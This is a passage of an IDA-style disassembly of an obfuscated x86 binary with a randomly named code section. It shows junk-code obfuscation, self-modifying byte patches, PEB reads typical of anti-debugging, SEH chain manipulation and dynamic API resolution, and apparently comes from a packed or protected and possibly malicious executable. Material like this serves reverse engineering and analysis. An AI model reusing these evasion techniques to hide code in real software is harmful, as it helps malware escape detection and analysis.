; ---------------------------------------------------------------------------
		dw 0F8E9h
		dd 0FFFFFEEh, 2CA88Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_488CAE:				; CODE XREF: sub_48899B+614j
		jmp	nullsub_547
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		jmp	loc_48BB5A
; ---------------------------------------------------------------------------
		dd 0F7870000h, 2C92E99Ch, 0C3000000h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BA3A

loc_488CC5:				; CODE XREF: sub_48BA3A-2C7Dj
		jmp	loc_48A380
; END OF FUNCTION CHUNK	FOR sub_48BA3A
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_527. PRESS KEYPAD	"+" TO EXPAND]
		dd 0E9990000h, 976h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_428. PRESS KEYPAD	"+" TO EXPAND]
		align 4
		dd 0DCC38100h, 3CE25E3h, 0E8C381DDh, 6803DA1Ch,	488935h
		dd 24D2E9h, 241C8700h, 8B242C87h, 3C875DDDh, 1DFEE924h
		dd 64000000h, 30058Bh, 71E90000h, 13h, 8707C600h, 8B241487h
		dd 81685AFAh, 0E90048B8h, 3135h, 0C870000h, 81296824h
		dd 0FEE90048h, 0C3000006h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B7E3

loc_488D35:				; CODE XREF: sub_48B7E3+Ej
		jmp	nullsub_545
; END OF FUNCTION CHUNK	FOR sub_48B7E3
; ---------------------------------------------------------------------------
		align 4
		xor	esi, 0A0648C0Eh
		mov	byte ptr [esp],	0FFh
		adc	eax, offset dword_45B0C0
		push	esi
		mov	esi, ebx
		xchg	esi, [esp]
		push	2718B07Dh
		jmp	loc_48CA95
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, offset byte_48B799
		jmp	loc_48C219
; ---------------------------------------------------------------------------
		dw 0F98Bh
		dd 0E89C5359h, 2AA4h, 6180689Ch, 8158ABD1h, 99413EF0h
		dd 2BE081F3h, 680F5C3Ch, 48B5EAh, 0FFEFF0E9h, 0D50B00FFh
		dd 31C1E8h, 30E90000h, 0Ch
		db 0
; ---------------------------------------------------------------------------

loc_488D9D:				; DATA XREF: dy9cvewz:00487CF8o
		push	eax
		mov	eax, offset loc_488DD4
		jmp	loc_489712
; ---------------------------------------------------------------------------
		dd 0E9D03300h, 0D6Ah
		db 0
; ---------------------------------------------------------------------------

loc_488DB1:				; CODE XREF: dy9cvewz:0048836Bj
		pop	eax
		xchg	eax, [ebx]
; START	OF FUNCTION CHUNK FOR sub_48BA3A

loc_488DB4:				; CODE XREF: sub_48BA3A:loc_488360j
		or	esi, 390A19D0h
		rol	esi, 1Ch
		jmp	loc_488CC5
; END OF FUNCTION CHUNK	FOR sub_48BA3A
; ---------------------------------------------------------------------------

loc_488DC2:				; CODE XREF: dy9cvewz:0048C9AAj
		xchg	esi, [esp]
		pop	esi
		push	edx
		mov	edx, offset loc_489216
		jmp	loc_489207
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_488DD3:				; DATA XREF: sub_48958B+227Eo
		pop	ecx

loc_488DD4:				; DATA XREF: dy9cvewz:00488D9Eo
		sub	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_488DD7:				; CODE XREF: dy9cvewz:loc_48A119j
					; dy9cvewz:loc_48AD52j
					; DATA XREF: ...
		push	offset loc_48BA5C
		jmp	locret_48BA53
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0E4h
		dd 0E9EEB201h, 0FFFFEBF6h, 8159F98Bh, 43E9CEF7h, 0AC7C114h
		dd 7362FF81h, 0EE91825h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------

locret_488E03:				; CODE XREF: dy9cvewz:00487CFDj
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488FD4

loc_488E05:				; CODE XREF: sub_488FD4+2594j
		jmp	loc_488224
; END OF FUNCTION CHUNK	FOR sub_488FD4
; ---------------------------------------------------------------------------
		dw 8100h
		dd 35BE84E2h, 0BC2C19Dh, 0F6F9820Fh, 0FFFFh, 0FE99D5Fh
		dd 2Eh
		db 0
; ---------------------------------------------------------------------------

loc_488E25:				; CODE XREF: dy9cvewz:00487522j
		push	ecx
		cmp	eax, edi
		jmp	loc_48B08C
; ---------------------------------------------------------------------------
		db 68h,	0E0h, 23h
		dd 815EC26Fh, 0FEE32EEEh, 0C2F681CDh, 9DF47040h, 60E9C6A5h
		dd 39h,	0E91FCEC1h, 249Eh
		db 2 dup(0), 5Eh

; =============== S U B	R O U T	I N E =======================================



sub_488E53	proc near		; CODE XREF: dy9cvewz:0048BA77p

; FUNCTION CHUNK AT 0048826A SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		mov	eax, edi
		xchg	eax, [esp+0]
		jmp	loc_48826A
sub_488E53	endp

; ---------------------------------------------------------------------------
		align 4
		or	edi, 0B1A14D03h
		jmp	sub_48BA84
; ---------------------------------------------------------------------------
		align 10h
		dd 0E9DD8500h, 3538h, 0D944F681h, 0F503A7BEh, 39B16850h
		dd 8158EF25h, 0E6583BC8h, 3EE0811Fh, 81CBADB4h,	4F0D54C0h
		dd 38A5E909h, 0

; =============== S U B	R O U T	I N E =======================================



sub_488EA0	proc near		; CODE XREF: sub_48BB9F+Cp

; FUNCTION CHUNK AT 0048AA11 SIZE 0000001F BYTES

		xchg	esi, [esp+0]
		pop	esi
		pushf
		push	ecx
		push	31B056E1h
		pop	ecx
		jmp	loc_48AA11
sub_488EA0	endp

; ---------------------------------------------------------------------------
		mov	ecx, 4883B8h
		jmp	loc_48A238
; ---------------------------------------------------------------------------

locret_488EBB:				; CODE XREF: dy9cvewz:0048A334j
		retn
; ---------------------------------------------------------------------------

loc_488EBC:				; CODE XREF: dy9cvewz:0048B8A4j
		jmp	loc_48A9F7
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h
		dd offset word_4879CE+1
; ---------------------------------------------------------------------------
		jmp	loc_48752F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487CB5

loc_488ECD:				; CODE XREF: sub_487CB5+2F8Fj
		mov	esi, [esi]
		pushf
		push	5853A5A5h
		xchg	ebp, [esp+4+var_4]
		mov	ecx, ebp
		jmp	loc_489091
; END OF FUNCTION CHUNK	FOR sub_487CB5
; ---------------------------------------------------------------------------
		align 10h
		dd 0A5DAE881h, 0C0817987h, 858C0939h, 5440F081h, 0E853A020h
		dd 0FFFFE780h, 0FFF5E1E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_48987C

loc_488EFE:				; CODE XREF: sub_48987C-E9Fj
		jmp	loc_48A0ED
; END OF FUNCTION CHUNK	FOR sub_48987C
; ---------------------------------------------------------------------------

loc_488F03:				; CODE XREF: dy9cvewz:0048B029j
		mov	byte ptr [ebx],	3
		pop	ebx
		push	ecx
		pushf
		push	0DA10891Ah
		jmp	loc_48B7B5
; ---------------------------------------------------------------------------
		align 4

loc_488F14:				; CODE XREF: dy9cvewz:00488351j
		push	eax
		mov	ebx, [edi]
		xor	eax, edx
		xchg	ebx, [edx]

loc_488F1B:				; CODE XREF: dy9cvewz:loc_488343j
		call	sub_48A095
		add	cl, ch
		sub	al, 0
; ---------------------------------------------------------------------------
		dd 0AC680000h, 5EC13D5Bh, 0A63DB951h, 40E90048h, 0FFFFEEh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_488F38:				; CODE XREF: sub_48899B-726j
		jl	loc_48B98D
		ror	ecx, 1Eh

loc_488F41:				; CODE XREF: sub_48899B-1373j
		call	sub_48A6E2
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------

loc_488F48:				; CODE XREF: dy9cvewz:0048AC6Fj
		jmp	loc_48849D
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_562. PRESS KEYPAD	"+" TO EXPAND]
		dd 0C2C10000h, 0C5F2811Fh, 81241FA8h, 0A59EF5C2h
		db 22h,	9Dh
		dw 1487h		; DATA XREF: sub_48B3BA+1085o
		dd 862D6824h, 0B4E90048h, 0FFFFF6h, 258C0F00h, 0C1000020h
		db 0EFh, 19h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488506

loc_488F7A:				; CODE XREF: sub_488506:loc_48A596j
		add	edx, 95864272h
		call	sub_48A1F1
		add	cl, ch
		adc	[edi], ebx
; END OF FUNCTION CHUNK	FOR sub_488506
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 268B0F00h, 0E9000036h, 21BDh, 1D685500h, 0E90048B9h
		dd 1058h
; ---------------------------------------------------------------------------

loc_488FA4:				; CODE XREF: dy9cvewz:0048BD42j
		push	edi
		mov	edi, ecx
		xchg	edi, [esp]
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_488FAA:				; CODE XREF: sub_48899B:loc_48BEB2j
		push	offset loc_48A7C2
		jmp	loc_488CAE
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_489655
; ---------------------------------------------------------------------------
		dw 0C0C1h
; ---------------------------------------------------------------------------
		sbb	eax, ebp
		scasd
		sub	eax, 0
		xchg	eax, [esp]
		pop	eax
		jmp	loc_48A650
; ---------------------------------------------------------------------------
		db 0E9h, 0E0h, 0F3h
		dd 0FFFFh

; =============== S U B	R O U T	I N E =======================================



sub_488FD4	proc near		; CODE XREF: sub_487E6B+9p
					; dy9cvewz:loc_487FCDj	...

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00487C28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00488224 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004884D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00488C2C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00488E05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004896A8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00489ECD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048A290 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0048AADC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0048B55A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0048B88D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048BE9A SIZE 00000005 BYTES

		jnz	sub_48A611
		push	edx
		push	eax
		mov	eax, offset loc_4896AE
		jmp	loc_48B88D
sub_488FD4	endp

; ---------------------------------------------------------------------------
		dw 5F00h
; ---------------------------------------------------------------------------
		push	edx
		push	5F48C344h
		pop	edx
		or	edx, 0AAA439EFh
		xor	edx, 5FF2D4C9h
		and	edx, 364E7605h
		rol	edx, 12h
		jmp	loc_48A012
; ---------------------------------------------------------------------------
		align 2
		jnz	loc_48A405
		test	edx, edi
		jmp	loc_48B30F
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_489019:				; CODE XREF: dy9cvewz:0048807Ej
		and	edx, 9D59DCDBh
		sub	edx, 8B96EAEBh
		xor	edx, 6130A150h
		popf
		xor	eax, eax
		call	sub_48B837
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_489035:				; CODE XREF: sub_48B3BA+9B0j
		jmp	loc_48C081
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		retf	0D0E9h
; ---------------------------------------------------------------------------
		db 0Ch
		dd 0
		dd 5B241C87h, 2DE89C56h, 0Ch, 2D54E9h, 81000000h, 44FBF3CFh
		dd 16EF8105h, 81F768BDh, 3D2541F7h, 5BC78120h, 0E8B7E825h
		dd 0FFFFFC7Dh, 0C7810000h, 416E586h, 0E9243C87h, 1E99h
		dd 0BC6C100h, 2F80E9h, 0C3000000h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487CB5

loc_489091:				; CODE XREF: sub_487CB5+1225j
		jmp	loc_48BB92
; END OF FUNCTION CHUNK	FOR sub_487CB5
; ---------------------------------------------------------------------------

loc_489096:				; CODE XREF: dy9cvewz:00488679j
		jmp	loc_48B0BD
; ---------------------------------------------------------------------------
		ror	edi, 1Ah
		jmp	sub_48ADB5
; ---------------------------------------------------------------------------
		align 4
		dd 0C7E8CA81h, 0DFE941F6h, 0FFFFFCh, 87005D8Bh,	8B5E2434h
		dd 70A900h, 840F0000h, 0FFFFF943h, 1E4EE9h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_425. PRESS KEYPAD	"+" TO EXPAND]
		align 4

locret_4890CC:				; CODE XREF: dy9cvewz:loc_4899D9j
		retn
; ---------------------------------------------------------------------------
		align 2
		xchg	eax, ebp
		jmp	sub_48C17D
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4889E8

loc_4890D7:				; CODE XREF: sub_4889E8+Aj
		rol	edx, 3
		xor	edx, eax
		jmp	loc_488A32
; END OF FUNCTION CHUNK	FOR sub_4889E8
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_4890E3:				; CODE XREF: sub_48BB9F:loc_488112j
		call	loc_48BA6D
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_4890E8:				; CODE XREF: sub_48B3BA:loc_48AF26j
					; sub_48B3BA+1781j
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+4+var_4]
		push	eax
		jmp	loc_4884E0
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		adc	ebx, eax
		jmp	loc_488A38
; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_555. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

loc_489100:				; CODE XREF: dy9cvewz:0048784Cj
		jmp	near ptr loc_488732+1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		dd 24048700h, 5B685258h, 0E9346E08h, 2AC8h, 0D3860F00h
		db 0FDh, 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_48911F	proc near		; CODE XREF: sub_48C92B:loc_48C72Cp
		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [edi],	64h
		pop	edi
		push	large dword ptr	fs:0
sub_48911F	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_48A96C

loc_48912E:				; CODE XREF: sub_48A96C:loc_48BED7j
		call	sub_48924C
; END OF FUNCTION CHUNK	FOR sub_48A96C
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48899B

loc_489135:				; CODE XREF: sub_48899B-13FBj
		add	edx, ebp
		add	edx, 2CBB3F04h

loc_48913D:				; DATA XREF: dy9cvewz:0048B5A2o
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_48BEB9
		jmp	loc_48C999
; END OF FUNCTION CHUNK	FOR sub_48899B
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48789B

loc_48914F:				; CODE XREF: sub_48789B:loc_48B047j
		push	offset loc_48C871
		jmp	nullsub_429
; END OF FUNCTION CHUNK	FOR sub_48789B
; ---------------------------------------------------------------------------
		align 2
		dw 6C6h
		dd 0C15E5E9Dh, 80E914C6h, 0FFFFE4h, 0FF9BE800h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48916F:				; CODE XREF: sub_48AD01-1E9j
		jmp	loc_48BE72
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BA3A

loc_489175:				; CODE XREF: sub_48BA3A-16B4j
		jmp	nullsub_538
; END OF FUNCTION CHUNK	FOR sub_48BA3A
; ---------------------------------------------------------------------------
		dw 6800h
; ---------------------------------------------------------------------------
		mov	ah, 0A3h
		dec	eax
		add	cl, ch
		mov	eax, ds:0FFFFF4h
		add	[ebx], cl
		shr	ecx, 54h
		sbb	eax, 0
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_489190:				; CODE XREF: sub_48BB9F-72Bj
		mov	byte ptr [edx],	0Fh
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		mov	esi, ebx
		pop	ebx
		push	0E08CBBA8h
		jmp	loc_487C2D
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		db 0
byte_4891A7	db 68h			; DATA XREF: dy9cvewz:loc_4886DDo
		dd offset byte_488855+2
		dd 0FFEB6AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4891B1:				; CODE XREF: dy9cvewz:loc_48A9D8j
		mov	byte ptr [esi],	8Bh
		pop	esi
		add	eax, 2A35EAD8h
		mov	eax, [eax]
		jmp	loc_48A2E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_48AFE5

loc_4891C4:				; CODE XREF: sub_48AFE5-E22j
		call	sub_487A52

loc_4891C9:				; CODE XREF: dy9cvewz:loc_48C749j
		jns	loc_488748
		test	eax, 2
		jz	loc_489774
		push	0C670AD6Fh
		pop	eax
		sub	eax, 0CA25AEE8h
		xor	eax, 0FC4AFEE4h
		push	edi
		jmp	loc_48C150
; END OF FUNCTION CHUNK	FOR sub_48AFE5
; ---------------------------------------------------------------------------
		mov	edi, ebp
		jmp	loc_48A33A
; ---------------------------------------------------------------------------
		align 2
		test	edi, 3318BA5h

loc_489200:				; CODE XREF: dy9cvewz:loc_48B3EAj
		jmp	loc_48C388
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_489207:				; CODE XREF: dy9cvewz:00488DCCj
		mov	byte ptr [edx],	0C6h
		xchg	ecx, [esp]
		mov	edx, ecx
		pop	ecx
		lea	eax, nullsub_551

loc_489216:				; DATA XREF: dy9cvewz:00488DC7o
		mov	byte ptr [eax],	0C3h
		call	sub_48C17D
; ---------------------------------------------------------------------------
		dw 0
		dd 0A44E058Dh, 68510048h, 68A5109Bh, 0FCE98159h, 0C16123EAh
		dd 0C1811CC1h, 0FD07142h, 0FFF150E9h, 870000FFh, 0F233E906h
		dd 0FFFFh

; =============== S U B	R O U T	I N E =======================================



sub_48924C	proc near		; CODE XREF: sub_48A96C:loc_48912Ep

; FUNCTION CHUNK AT 00488AC2 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		mov	large fs:0, esp

loc_48925C:				; DATA XREF: sub_48C92B+14o
		outsb
		mov	eax, large ds:20h
		push	offset byte_48BC03
		jmp	loc_488AC2
sub_48924C	endp

; ---------------------------------------------------------------------------
		db 2 dup(0), 0F7h
; ---------------------------------------------------------------------------
		retn	1E3Bh
; ---------------------------------------------------------------------------
		db 0FAh
		dd 0E77FE983h, 8700FFFFh, 0FF5B241Ch, 45B0C015h, 746E6800h
		dd 30E90048h, 23h
		db 0
; ---------------------------------------------------------------------------

loc_489291:				; CODE XREF: dy9cvewz:loc_48883Cj
					; dy9cvewz:0048AEB4j
		push	eax
		mov	eax, offset loc_489ACF
		jmp	loc_48C2FD
; ---------------------------------------------------------------------------
		dd 39870000h, 0B4FE9h, 8D0F0000h, 6ABh,	0D1F7C2F7h, 42E9845Ch
		dd 87FFFFEDh, 3C872404h, 5FC78B24h, 870306C6h, 98E9240Ch
		db 17h,	2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_435. PRESS KEYPAD	"+" TO EXPAND]
		dd 0C30000h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4897A6

loc_4892D1:				; CODE XREF: sub_4897A6+Dj
		jmp	nullsub_424
; END OF FUNCTION CHUNK	FOR sub_4897A6
; ---------------------------------------------------------------------------
		dw 8100h
		dd 842B89F2h, 56D50323h, 0D744DA68h, 0F1E95E71h, 0Ch, 0A7800F00h
		dd 0E900000Fh, 0FFFFF6EAh, 0E8990000h, 0FFFFE711h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48C84D

loc_489302:				; CODE XREF: sub_48C84D+3j
		push	edx
		mov	edx, offset loc_487B28
		jmp	loc_4874A2
; END OF FUNCTION CHUNK	FOR sub_48C84D
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_48930F	proc near		; CODE XREF: sub_48AFE5:loc_488748p

; FUNCTION CHUNK AT 0048A54E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0048BB5B SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ebx
		mov	ebx, esi
		jmp	loc_48BB5B
sub_48930F	endp

; ---------------------------------------------------------------------------
		align 4
		dd 243C8700h, 8707895Fh, 6BE92404h, 0C300002Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48ADDF

loc_48932E:				; CODE XREF: sub_48ADDF+1Ej
		jmp	loc_48C693
; END OF FUNCTION CHUNK	FOR sub_48ADDF
; ---------------------------------------------------------------------------
		db 0Fh
		dd 9E485h, 0FCFDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48933E:				; CODE XREF: dy9cvewz:0048A939j
		call	sub_48B619
; ---------------------------------------------------------------------------
		db 0
		db 0, 3, 0DEh

; =============== S U B	R O U T	I N E =======================================



sub_489347	proc near		; CODE XREF: sub_4895B7p

; FUNCTION CHUNK AT 00487D9E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004894E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048A0E2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0048A10A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0048A133 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048B9AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048C63F SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, large fs:30h
		push	edx
		mov	edx, offset byte_4880FF
		jmp	loc_48A133
sub_489347	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		xor	ebp, ecx
		jmp	loc_48B836
; ---------------------------------------------------------------------------
		align 2
		adc	esi, 128C12EDh
		jmp	sub_48B4EE
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 11h
		dd 0FFE061E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

loc_48937A:				; DATA XREF: sub_48C24E-3DA0o
		pop	ecx
		mov	eax, [eax]

loc_48937D:				; DATA XREF: sub_48C24E+5o
		xchg	eax, [esp]
		mov	ecx, eax
		pop	eax
		jmp	loc_4881FC
; ---------------------------------------------------------------------------
		dd 0E5028F0Fh, 98E9FFFFh, 35h, 178C820Fh, 0E7C10000h, 0E7860F18h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4893A3:				; CODE XREF: dy9cvewz:loc_487EA1j
		xor	ecx, 0CC74E9A7h
		sub	ecx, 4A4F5FF7h
		test	ecx, 8000h
		jmp	loc_4883E7
; ---------------------------------------------------------------------------
		align 4

loc_4893BC:				; CODE XREF: dy9cvewz:004893F2p
					; dy9cvewz:0048AF70j
		xchg	ebx, [esp]
		pop	ebx
		add	esi, 0FFEFDBD0h
		fild	dword ptr [ebp+494E9C6h]
; ---------------------------------------------------------------------------
		dd 0
		dd 0E89C06C6h, 0FFFFE776h, 0FFF188E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_434. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

loc_4893E0:				; CODE XREF: dy9cvewz:0048B640j
		jl	loc_48B8E7

loc_4893E6:				; CODE XREF: dy9cvewz:loc_48B632j
		xor	esi, 890FD383h
		and	esi, 0A317B7A0h
		call	loc_4893BC
; ---------------------------------------------------------------------------
		db 0
		dd 3526E900h, 97E90000h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_489403:				; CODE XREF: dy9cvewz:loc_487C22j
		mov	byte ptr [ecx],	0C3h
		pop	ecx
		xchg	edi, [esp]
		mov	edx, edi
		pop	edi
		jmp	loc_489445
; ---------------------------------------------------------------------------
		align 4
		xchg	ecx, [esp]
		call	ds:dword_45B0BC	; GetProcAddress
		mov	edx, eax
		push	34h
		jmp	loc_489C57
; ---------------------------------------------------------------------------
		dw 2300h
		dd 0EC91E9F5h, 0C3FFFFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_537. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	locret_48C91D
; ---------------------------------------------------------------------------
		dw 8700h
		dd 0E0D6682Bh, 58E9EF25h, 0FFFFE4h
; ---------------------------------------------------------------------------

locret_489444:				; CODE XREF: dy9cvewz:00487764j
		retn
; ---------------------------------------------------------------------------

loc_489445:				; CODE XREF: dy9cvewz:0048940Dj
		jmp	loc_48C957
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B011

loc_48944B:				; CODE XREF: sub_48B011-370Dj
		rol	edi, 1Bh
		cmp	edi, 0AC68F6A2h
		jmp	loc_487E22
; END OF FUNCTION CHUNK	FOR sub_48B011
; ---------------------------------------------------------------------------
		db 2 dup(0), 0FFh
		db 0D0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489481

loc_48945D:				; CODE XREF: sub_489481-AC9j
					; dy9cvewz:00489BF0j
		mov	dword ptr [ebp-4], 1
		push	498A020h
		pop	eax
		xor	eax, 642C5F75h
		jmp	loc_48AD11
; END OF FUNCTION CHUNK	FOR sub_489481
; ---------------------------------------------------------------------------
		db 68h,	81h, 0AFh
		dd 0AFE90048h, 0FFFFFFh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_489481	proc near		; CODE XREF: dy9cvewz:00487D51j
					; sub_48ADDF+18B5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00487454 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004881A3 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0048894B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004889B3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0048945D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0048AA51 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048AD11 SIZE 00000017 BYTES

		xchg	esi, [esp+0]
		xchg	ebp, [esp+0]
		mov	esi, ebp
		pop	ebp
		mov	edi, [edi]
		pop	edi

loc_48948D:				; DATA XREF: sub_48AD01+1B24w
		sub	[esp-8+arg_4], edi
		jmp	loc_4889B3
sub_489481	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 959F9BDEh, 5B0F8BA4h, 24E9D133h, 2, 2E99840Fh, 0
; ---------------------------------------------------------------------------
		jmp	locret_488992
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C1h
		dd 196812C1h, 81C305E5h, 0F0E9CDFh, 76E999F5h, 2Eh, 69E2815Ah
		dd 81A37413h, 0E1B0EBC2h, 241487DFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BA3A

loc_4894DF:				; CODE XREF: sub_48BA3A+5j
		jmp	loc_488360
; END OF FUNCTION CHUNK	FOR sub_48BA3A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489347

loc_4894E6:				; CODE XREF: sub_489347+DC7j
		jmp	loc_487D9E
; END OF FUNCTION CHUNK	FOR sub_489347
; ---------------------------------------------------------------------------

loc_4894EB:				; CODE XREF: dy9cvewz:004883FEj
		jmp	loc_48A4AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_4894F0:				; CODE XREF: sub_48B3BA+57Aj
		or	edx, edx
		jz	loc_48B8EF
		jmp	loc_48AF26
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------

locret_4894FD:				; CODE XREF: dy9cvewz:0048771Aj
		retn
; ---------------------------------------------------------------------------
		dw 8700h
		dd 6859240Ch, 0EDA66033h, 3DEF815Fh, 0E9A3A91Fh, 0FFFFE073h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_489516:				; CODE XREF: sub_48BB9F-33CBj
		add	eax, 2C90D1Eh
		jmp	loc_48C952
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------

loc_489521:				; CODE XREF: dy9cvewz:loc_488349j
		sub	eax, 0A3D42F66h
		rol	eax, 0Fh
		jb	loc_4886DD
; ---------------------------------------------------------------------------
